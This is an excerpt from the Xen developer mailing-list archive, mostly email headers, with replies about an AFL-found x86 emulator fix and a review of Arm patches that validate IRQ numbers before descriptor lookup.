	=?utf-8?B?U2JRYUVFMDg3Qjlpa1JYb1hLRDhyR1RjaXl2SE1TMVJXc0F2UytyNDBnNUM2?=
 =?utf-8?B?aHdQRWNLbVEvN1FwcExLWjA4RnpieW1MSmJ0YnVnbVhaVjAwZW5kbnAxRnBa?=
 =?utf-8?B?WkNWWmhFWHpueFVHaWFnQkhqUURETHFub1JrUlVHaWFUQk5tYmNNd3JIUUlU?=
 =?utf-8?B?QkZOZVdyRDEvdXJGbmRORWRDKysxL1hDdStkSzVmMDMyOWVSdExoRjVKbGgz?=
 =?utf-8?B?UmxUR3JVZkZXRnhtc09FYjJGVkdwS20zNlh3NTlxV21CbnJjbFlQdEhiQUR2?=
 =?utf-8?B?SWtzV2JvdVhuZVl5cEt0UmYxamxaVWRaNXdXQjdIRjVTYlN4UkgwVkE3ZVdi?=
 =?ut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mm1lNEVSWUJMbXNOL3VTZFBnVFk4ejZR?=
 =?utf-8?B?Qm5XcUtkNjVFek9GRjlSVnlVdWxnSndEakNtdUVvd3FKbkJ4M1BhU3pJUEda?=
 =?utf-8?B?TnY0dDc2WWVWUlN0L3IxZXRuQWFVSHBHY0RNR1hpeDJxQ0lzUllyMGRPdWxH?=
 =?utf-8?B?VG55RkhnRkM4eEtCRUEzVGFralNFWlJvQ1FrcnlJc083OE4xdm9rY2tVNXhr?=
 =?utf-8?B?S3YrdERaZDV5V0duT2VCSi9EbFhNM3VIVm1HajNmK0NHQ1hoV3lqL1A5bEZK?=
 =?utf-8?Q?i55aJrigUfJ9McDY=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: a6126228-cbc9-4a68-a1a2-08dee32a630e
X-MS-Exchange-CrossTenant-AuthSource: DS7PR03MB8265.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 16 Jul 2026 11:07:12.4843
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 1MChy8B4T2hlyLHEagkf5ZOBYMAuJsuBhxhAqOtymyaNGZKVbpzGUwZOax4ko7wzRuKcip91/T+/Qg2DYyfkrNA2BewqI0fKnpSan3k4FrQ=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM4PR03MB6045
X-purgate-ID: tlsNG-42698a/1784200035-1BAD09EA-25BF6D55/0/0
X-purgate-type: clean
X-purgate-size: 1819

On 16/07/2026 11:50 am, Jan Beulich wrote:
> On 16.07.2026 12:44, Andrew Cooper wrote:
>> On 16/07/2026 11:43 am, Jan Beulich wrote:
>>> AFL has pointed out that the op_bytes-is-not-0 assertion in common SIMD
>>> handling can trigger for these insns. Indeed when the (relevant part of)
>>> the controlling mask register is 0, no memory is accessed at all. Leave
>>> op_bytes unaltered in this case, to engage the short-circuiting in common
>>> SIMD handling when fault_suppression is true and op_bytes is 0.
>>>
>>> While there also correct a related typo in the test harness.
>>>
>>> Fixes: 65f82d4ce1ea ("x86emul: support AVX512{F,_VBMI2} compress/expand insns")
>>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>> Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>
> Thanks.
>
>> Is this local AFL testing?Â  I'm slightly surprised that OSS-Fuzz hasn't
>> found this.
> Yes, I'm trying to remember to run the fuzzer every once in a while. Earlier
> runs of mine didn't spot the issue either. (I'm presently re-running things,
> to have a limited level of certainty that the issues it found are all sorted
> now. The other issues it found were in patches I continue to have pending.)

When I was doing AFL testing a while back, there was an ancillary
project which would take the fuzzing corpus (as it was being generated),
run it with a GCOV-enabled binary and produce an aggregate LCOV report
in real-time.

I did once get to 100% coverage, but it took AFL an awful long time to
find the final basic block, which was somewhere in the signed divide
path if memory serves.

If we want to get fancy, instead of using a single byte input as the
seed corpus, we could write out several which tickle the rarest paths.Â 
That ought to shorten the total time substantially.

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 11:28:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 11:28:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363827.1615323 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkKGn-0001TD-1o; Thu, 16 Jul 2026 11:28:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363827.1615323; Thu, 16 Jul 2026 11:28:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkKGm-0001T6-V3; Thu, 16 Jul 2026 11:28:48 +0000
Received: by outflank-mailman (input) for mailman id 1363827;
 Thu, 16 Jul 2026 11:28:48 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <xakep.amatop@gmail.com>) id 1wkKGm-0001T0-4Q
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:28:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkKGi-00GUxG-W9
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 13:28:45 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <xakep.amatop@gmail.com>)
 id 6a58c067-5cb7-0a2a0a5109dd-0a2a450ba9c2-14
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 13:28:44 +0200
Received: from [209.85.208.178] (helo=mail-lj1-f178.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <xakep.amatop@gmail.com>)
 id 6a58c06c-b7e8-0a2a450b0019-d155d0b2d018-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 13:28:44 +0200
Received: by mail-lj1-f178.google.com with SMTP id
 38308e7fff4ca-39b3931e259so59382651fa.2
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 04:28:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784201324; cv=none;
        d=google.com; s=arc-20260327;
        b=BZUx6XkU04VmThIOfVZM5W7R9M65muLoVbaWBcqMtUbYmRfDabxe8xY+2kOC1HlM5g
         At8aZb0Ig0giHF6Ge7SVqKELJbWQpSs4QsJXKm4WRMK+W8xnYUHpJTuEAOcgCIaS1pMw
         sRpacR1iyiOKXrZ7/yKoq6xf0ISfIVvXnjLk26/gyDZ3Egf+MLykftFkNcq9+Kxk7VOv
         wDfeDiOFvTCl9/s4h5R+p5QxOBcn32UJaUYU53TzkoMr4sdBRmCtSwZGPTXlYHOEz+cn
         9PiYQNeZX7zpmIzn88aXjJt6TWKj/2ugGoKbXL/xfF9ffU/MVVZWY1kN1U3Rl+rR9h4g
         8BPA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=V7ZKFbw8uxcrmZnViyuHl7eXWjhdx7bps3bPsLvk2FM=;
        fh=s0jj9NCQJCHGxRSqYVs1l7k0YfT1hsJTj4jfEvIV2eg=;
        b=UmVieUGZkfMUJ7q3Zi9347VXJg3LkVzQL/TMAIns4fbFDHaj9vn2dAuJaV7Pm4yZsf
         d1A3bRVge/SiPi+l6U73RDSUhm3IU6ZTmaJBZZ9fqaol0MS7UT/i9qFYOVLrA9CIZv8S
         n0nWrFUywCWfNvPnNxVbMfKuUZ5IRW6ZavXCKYJI5vUnIJvSfI+1yYU/MNWT9h2foaTq
         Ok9YUr9l5LGdZMmpHqa0j7m6BFY+mWnl7fMJDB3OfIPyh1vH9B2hYfE+TOjPC9QPNhBm
         xLu0qjw+Q4mLoAES4rKUHdlhVsKW2JDMSbcGr7AhH6gTPJmIYmeYl0TlItIJZTuAb10J
         uG6Q==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784201324; x=1784806124; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=V7ZKFbw8uxcrmZnViyuHl7eXWjhdx7bps3bPsLvk2FM=;
        b=n5A18cSjR72+kkB1Av6cwtGroJInHAQgsJDgrjGGHHWWTCgna596ASp+D7ywU1xWhF
         Epzc+MQbXkQfd9rodQijAKqGjxZ7+oFlvRVK3x794wTwVNDx3upnSZtUjO+HH+RkGQK3
         6Ls4RWshtBBpP3WT376pYjFNaTHwR1+wcQ25CKTS7Ucb7qrihZ591IdzT4nlG5zFwdNb
         tybakKbRH2N5iH+NviStNan66ZE8BC+EA23CmCJT/Atu++XxVXNS2OiMGwZrwY3tusUB
         DWPbk05H6XrhGmbDXEwuWhgvVuL3SEkxO9nbdkOxQks9vIJUERb4K2NHrSEx25g2Ez9e
         ocDQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784201324; x=1784806124;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=V7ZKFbw8uxcrmZnViyuHl7eXWjhdx7bps3bPsLvk2FM=;
        b=cjaJ+KFrMDpxCYHdCU0nX5eeobobsv8YjzbTTVWmTWiI6Kr8crSMXn50vCm1Sfnei5
         3LjfgajU+HcdY7mQdRSp/IjwQPGSeGqv0KCKXIdWpTRLBd6iFu+Ew+talO+Hh1tlcjpG
         GlV2KxmbSzErwmvaXmKKGYEZLqeuiJ9clK4nweQ9ioN3FDyrrJmJEdSqkxWlFg21OMLI
         6h5yddDyZ5qaIs0i/WU9xRHSUuHNjTgM5IarKoHc9JfY3ZSFZexpV2vPO6Stk7hWZ8HR
         wuVyN5sOP4ePl6UVAQUsRB2pEaIoyKB5Yrmlbkw6KDNPQjkUVTpbv3q+8/kNUtCws/NO
         HRVA==
X-Gm-Message-State: AOJu0Yx5TlxZwQlAK/XtDe9jgv54vOG8Z8Kpm/ovFpnJVZ9ShZuwDPI8
	ehdxjWLOAdB0b7b+ICjK5pJ4iowmS7s4p+IGDhLIW+AcVx12TL2ZkmfRNx2qSxpAOQvvcBB2vjl
	as55y6sAO95M2UQvQgSryWWh6REqXHhA=
X-Gm-Gg: AfdE7cki5nzMw9l2Kc+Vs5+kg1HbenJh5Wf4HmROAzBAXM5XOnQNZyGuMrJih9pA3ZS
	RCcyBPkIiiMYrFA1wz0zTEbp3ZnsD9Ew/XUQBxuOEIUrtxwtCaXzk1kE53rzP8HXtHzKRtlf4B1
	1zOIW4zbkuYUTQm4snLlEMGJ5XkIng32UELu0EPSa3NQnYeKmXuDYJBWXwbh9PdqmVCiJlma7N9
	1QRY+6P4w/DxS429vUEgOMNU/76PQizezq1nCQk2RwCsKJkwOrfrOBPwv8V90wEeYB+cg==
X-Received: by 2002:a05:6512:1443:20b0:5ae:ba2b:b469 with SMTP id
 2adb3069b0e04-5b15d77a4acmr1004345e87.18.1784201323823; Thu, 16 Jul 2026
 04:28:43 -0700 (PDT)
MIME-Version: 1.0
References: <cover.1783671887.git.mykola_kvach@epam.com> <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
 <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com> <5gpmoe7cng53rxtxmldvjwe3dnbenoji6anyqy4uxado354hfp@tkdo7pmufaor>
 <6b345ba2-d31d-4317-ab79-aa64267ab283@amd.com>
In-Reply-To: <6b345ba2-d31d-4317-ab79-aa64267ab283@amd.com>
From: Mykola Kvach <xakep.amatop@gmail.com>
Date: Thu, 16 Jul 2026 14:28:32 +0300
X-Gm-Features: AUfX_mw8ig9CRbREisb6OFReR4e1u920bGTmV8k0u7OMDPb_-AoJ8Jx3DA8GBMg
Message-ID: <CAGeoDV8OMG2gGd4mvsnqjwuq=7OJFzFpg_vxw0j88J3Lb5QF6w@mail.gmail.com>
Subject: Re: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor lookup
To: "Orzel, Michal" <michal.orzel@amd.com>
Cc: xen-devel@lists.xenproject.org, 
	Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>, 
	Bertrand Marquis <bertrand.marquis@arm.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-42698a/1784201324-19CC79EA-892EDE9E/0/0
X-purgate-type: clean
X-purgate-size: 3591

On Thu, Jul 16, 2026 at 12:20=E2=80=AFPM Orzel, Michal <michal.orzel@amd.co=
m> wrote:
>
>
>
> On 10-Jul-26 13:14, Mykola Kvach wrote:
> > Hi Michal,
> >
> > Thank you for the review.
> >
> > On Fri, Jul 10, 2026 at 12:10:50PM +0200, Orzel, Michal wrote:
> >>
> >>
> >> On 10-Jul-26 10:31, Mykola Kvach wrote:
> >>> With GICv3 eSPI support, nr_irqs covers the architectural INTID
> >>> namespace up to ESPI_MAX_INTID. That namespace is not backed by a
> >>> single dense irq_desc[] array: regular SPIs use irq_desc[], eSPIs use
> >>> espi_desc[], and the INTIDs in between must not be treated as
> >>> descriptor indices.
> >>>
> >>> A firmware-provided interrupt in the sparse range can therefore pass
> >>> checks based only on nr_irqs and reach irq_to_desc().
> >> What are the possible consequences? You should explain it in the commi=
t msg.
> >> Also, what is your criteria behind protecting irq_to_desc()? There are=
 other
> >> places, where we have unprotected irq_to_desc(). Last but not least I =
think we
> >> should have an ASSERT in __irq_to_desc() to prevent the indexing failu=
re if we
> >> end up there with a sparse IRQ accidentally.
> >
> > I reproduced this on FVP by adding a fake DT interrupt with reserved
> > INTID 3000. This was deliberately malformed fault injection. The only
> > architecturally allocated interrupt class in the 1024-4095 gap is ePPI,
> > which Xen does not currently support. The resulting out-of-bounds acces=
s
> > to irq_desc[] may corrupt Xen memory or crash the hypervisor.
> >
> > There is also a non-synthetic case with CONFIG_GICV3_ESPI=3Dn. An
> > architecturally valid eSPI described in DT reaches:
> >
> >     platform_get_irq() -> irq_set_type() -> irq_set_spi_type()
> >
> > Previously, irq_to_desc() was called before validation, while no
> > espi_desc[] was compiled in. Moving the lookup after gic_is_spi() makes
> > Xen reject the interrupt with -EINVAL instead.
> It does not make much sense to me that is_espi() is protected in
> __irq_to_desc(). I know this is because there is no espi_to_desc() if eSP=
I is
> compiled out but providing a stub is easy. This causes the useful ASSERT =
inside
> it to be unreachable. If is_espi() was meant to be called only under #ifd=
ef, it
> would not have the ASSERT and would not include #ifdef inside it. If we a=
llowed
> for that ASSERT, then ...
>
> >
> > My criterion is to validate externally supplied IRQs at entry points
> > which can return an error. The remaining callers use fixed,
> > GIC-reported, or previously validated IRQs.
> >
> > I will also add:
> >
> >     ASSERT(irq < NR_IRQS);
> ... we would not need this one (the eSPI would also be more meaningful).
>
> Given that we postponed the release, I'd be ok to take this series in,
> provided it's in a correct shape.

Thanks, I understand the intended split now.

I will call is_espi() unconditionally and add an espi_to_desc() stub for
the non-eSPI build, so the assertion inside is_espi() remains reachable.

I also agree that externally supplied IRQs should be rejected at fallible
entry points rather than relying on an assertion in __irq_to_desc().

The assertion in is_espi() only catches the configured-out eSPI range; it
does not cover the sparse 1024..4095 gap. Therefore, before dropping
ASSERT(irq < NR_IRQS), I will verify that every externally supplied path
which can reach irq_to_desc() rejects that gap. The remaining internal
callers should then satisfy the descriptor-backed IRQ invariant.

Best regards,
Mykola


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 12:03:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 12:03:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363856.1615332 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkKoQ-00073j-Gi; Thu, 16 Jul 2026 12:03:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363856.1615332; Thu, 16 Jul 2026 12:03:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkKoQ-00073c-E1; Thu, 16 Jul 2026 12:03:34 +0000
Received: by outflank-mailman (input) for mailman id 1363856;
 Thu, 16 Jul 2026 12:03:32 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wkKoO-00073W-Js
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:03:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkKoO-00EaPQ-0Z
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:03:32 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a58c88c-5cb7-0a2a0a5109dd-0a2a4501c084-24
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:03:31 +0200
Received: from [52.101.46.64]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a58c891-5984-0a2a45010019-34652e4006b8-4
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:03:31 +0200
Received: from DS7PR05CA0082.namprd05.prod.outlook.com (2603:10b6:8:57::23) by
 MW3PR12MB4377.namprd12.prod.outlook.com (2603:10b6:303:55::11) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.223.10; Thu, 16 Jul 2026 12:03:25 +0000
Received: from SA2PEPF000015CC.namprd03.prod.outlook.com
 (2603:10b6:8:57:cafe::6) by DS7PR05CA0082.outlook.office365.com
 (2603:10b6:8:57::23) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.5 via Frontend Transport; Thu, 16
 Jul 2026 12:03:25 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 SA2PEPF000015CC.mail.protection.outlook.com (10.167.241.202) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.5 via Frontend Transport; Thu, 16 Jul 2026 12:03:24 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 16 Jul
 2026 07:03:24 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Thu, 16 Jul 2026 07:03:23 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=PmP1PAn+hPoYUn6ubQXkpN+pCpzbcf60WpB16YCw3/R31DccS+666YKdl993+rSqihDa0HoHpEO7oMAKgu9PCVCPjI8ZEo5ifvwqC+BYxymoJWJCu0oIpunlPtrIn0VbiAD0eyuiHm1U5XE/RDmD8FslDuXmpjwurnOU7WaqzgcfkX+kVdxv043n32fvwI9PmCgPXqcRJXH8J4O5wjMwE08bxB5ylIJ/uOzZF276NLA8W6jFq1kASX4Hc4v6JF6yXA6RRmTmALzTT65UZwea/o1wVCLTQIq+kM0b08UBIRLE+Q5p4lV98K943NxhJXIHeMNmbE9HXxEh3MKCo2ovrQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=spfxO7Oc+toFHwxJMoy52dLnWWWAFn6HpVk+LM7bmew=;
 b=lmiW9zQG3wbUSOO/kVTsSNHROw9ljgyC6+bNxeANGV6uw9a3jwleEvpz4kTG8kPh20DNGDG2PH3bubb2bEU9yyEkZkR/PNoeJ8U5C28RhF2YbUyVds1VHyjLqmqPnkbSSznTzLbqp5V/SwveMRxv2MpMcuxv2/yyhqCFyx2Vqgwve5SmNJsfZnOdD4YJj4+OMqnGVegC9PtzBxo3hChID0qy8Vl9Gldw08llkk/O3jXHOTQaqljozDZPWUPFVBdww4FwJNM11GqmWLPzMugVmVZ69c6cGSNvN+W6iExxDCQpMHHYn0m5M1Ic2ERnEIlMuVPSgf5jl15vA/gb1s6ugw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=spfxO7Oc+toFHwxJMoy52dLnWWWAFn6HpVk+LM7bmew=;
 b=3EhjeJztsnzJQBvwKbW9MjF+6IxfYWGVI1tn1zZA2FjT1qQZsL3tfTctx7cmQiJXXBlkwdrb4UmJonY12QNyMAxUdG8k5vKSu1tO+w8FprNz0ASD0fMG83nDCtWNnEAXC+O3EO1w7kUKWFPGTDnsyCB1Y+xewdsaNVJxdv9kcVE=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <134609d4-507d-4485-87b2-c59e2c498f45@amd.com>
Date: Thu, 16 Jul 2026 14:03:23 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 2/2] xen/arm: vgic: free eSPIs using the bitmap
 index
To: Mykola Kvach <mykola_kvach@epam.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
 <6d279de6db90c7e8b76fb4da93b8e451a9cf9874.1783671887.git.mykola_kvach@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <6d279de6db90c7e8b76fb4da93b8e451a9cf9874.1783671887.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SA2PEPF000015CC:EE_|MW3PR12MB4377:EE_
X-MS-Office365-Filtering-Correlation-Id: 5b411f59-e9de-413a-6583-08dee3323d5c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|82310400026|1800799024|23010399003|36860700016|56012099006|11063799006|4143699003|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	JyartNavquaUhenClcQOfosIsxyPUgt60WswL+gAfkRn/HCMs7u3C3g7LTqQ8Z44qqiCKMA/YQBSNvSvj6GR6/3vX9kbGZZ7GMvrSExugIsMpwDmxrLBf9lcvyAfn/s0OWDGjq3D5CyMReH5KeM/Sf2KAXHl6VtpCsaq4q1Z7VrH/bDtFQdZM7GcghgOceNHi2Lra0ixX4ArvVGEfLL+YA5NTNX8SbVTKztIdwzuZyiG8OzaWYCBG+/jveV0Fs9lMcjHskyKIjkDU9TgsRgB+zFhRKMjdPiG++jgZPt1Z22UQ4ZwV4//gA9c8C2bBPRiBazNLxb6vYX5fpKs9wkYMZNKBPaG2YEKJdeykVhA/umG/tFN3a52H/ecsQ95MNtimKY8VMcOYNToh19Lkbz7D1fS68rjnTbsjOYSaPtgOntCjyTIxo87LCzweBaVJEr2lbLXHdDvfKGbQ3EN7VGrFfSsRnHCVS3UmE9/ufQXdy72MML6/wg32KiRF+ECoEWH2WGE/Ia6qPitdG/wdZRtjnLyP+Q9FkKVCLjytCxnFC7zg46sWvNg4SsLt5nS7jcOc05409/gHgoydn68ilK7o2sjLStpq36OkI+FWN20ikygVeV/FMc+os/vmfGlMAPk0kCwyl7n3eSzgl+de3Huxr6FTYRXg6+a6u5MMLnTQPIDW7jDIa589aYdDKASfbuc2By0eJ4q4RakCt1MnDW7Bg==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(82310400026)(1800799024)(23010399003)(36860700016)(56012099006)(11063799006)(4143699003)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	w91IPVDUYwtl9X9laBfob73NKv+39dJ6rNn5KlZ6gxStUBm8H6sVIzGZtpjqhRBFPIjgL/+A/fCeUfrIg/yqmDyuky7FZBtdDC+iNJUQaVjy9YSIhzxooen+f81NgsNcFGOL+4GN0kCR0nY2mbHVRYkYtvZb7/uthkQNCQEtpyeeF4df2NhNFSnQcIW91DSmbpjlmvpM/z58fgWdFE01Hn8zP+fUmczFdeCkV7ZMURBm0QEqjkVC7ZjkCVNd9U+OHyn57S+E2FLHaxn+XVBbRDP8gBp4rbCRtjsTy9pko4+YXk1QQwXiLIZBJPTBe9tqK8nzKaBnDav3cj6fK/77xsaUxLrXfk59SEc4rdaFc7EiiY81IVwgzrbl6pOmaTUNT+WWP961QMCYqgluMV8sOveSg40M4waYA9CwOsjxwm/hP7+tJqq9IffassVA+9Uq
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 16 Jul 2026 12:03:24.9877
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 5b411f59-e9de-413a-6583-08dee3323d5c
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SA2PEPF000015CC.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW3PR12MB4377
X-purgate-ID: tlsNG-d62444/1784203411-BCF47757-0A9169D6/0/0
X-purgate-type: clean
